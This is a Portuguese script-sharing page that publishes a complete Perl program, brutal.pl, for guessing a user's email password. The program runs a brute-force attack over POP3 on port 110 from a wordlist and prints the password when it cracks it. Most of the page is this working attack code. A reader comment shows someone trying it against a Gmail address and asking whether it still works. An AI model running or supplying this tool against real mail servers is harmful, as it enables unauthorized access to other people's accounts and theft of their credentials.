Brutal Force Attack

Publicado por Fábio Berbert de Paula 13/11/2002

[ Hits: 16.474 ]

Homepage: https://fabio.automatizando.dev

Download brutal.zip




Tenta fazer a adivinhação da senha de um usuário de email através da técnica de invasão por força bruta, ou seja, tentativa e erro. O script utiliza o módulo IO::Socket para efetuar conexão com o servidor POP.

  



Esconder código-fonte

#!/usr/bin/perl
#############################################
# brutal.pl
#
# Programa que simula um ataque brutal force 
# em servidores de email através da tentativa
# de invasão por adivinhação de senha.
#
# Programado por: Fábio Berbert de Paula
# E-mail: fabio@vivaolinux.com.br
# Web Site: www.vivaolinux.com.br
#
# Rio de Janeiro, 12 de Agosto de 2002
# ##########################################

use strict;

use IO::Socket;

if ($#ARGV != 2) {
  print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
  print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
  print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
  exit(0);
}

my ($server,$user,$pwfile) = @ARGV;

if (! -f $pwfile) {
   print "Erro: $pwfile não é um nome de arquivo válido!\n";
   exit;
}

# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
  chomp;
  tryout($server,$user,$_);
}
close(R);


sub tryout {
   my ($server,$user,$passwd) = @_;
   my $state;

   print "Tentativa: $passwd ...\n";
   my $connex = new IO::Socket::INET->new(  
                  PeerAddr  => $server,
                  PeerPort  => "110",
                  Proto     => "tcp",
                  Type      => SOCK_STREAM,
                  Timeout   => "30"
   );
   
   if (!defined($connex)) {
      print "Erro ao conectar ao servidor $server ...\n";
      exit(0);
   }
   
   $state = &readsock($connex);
   $connex->send("USER $user\r\n");
   $state = &readsock($connex);
   if ($state !~ /^\+OK/) { next; }
   $connex->send("PASS $passwd\r\n");
   $state = &readsock($connex);

   if ($state =~ /^\+OK/) { 
      print "Cracked!!! A senha do usuário $user é $passwd\n";
      exit;
   }
   
   $connex -> close;
   sleep(5);
}

sub readsock {
   my ($socket) = @_;
   my $data = '';
   my $buf = '';
   while ($buf !~ /\n$/) {
      $buf=<$socket>;
      $data .= $buf;
   }
   return $data;
}

Scripts recomendados

Password List 1.0

Crashing

R4$T4 Scan - Portscan básico comentado

hbackup.pl

Backdoor em perl


  

Comentários
[1] Comentário enviado por iagolira em 02/01/2016 - 20:59h

$ perl brutal.pl smtp.gmail.com fulano@gmail.com list
Erro ao conectar ao servidor smtp.gmail.com ...

Estes script ainda funciona (sei que foi publicado em 2002)?


Contribuir com comentário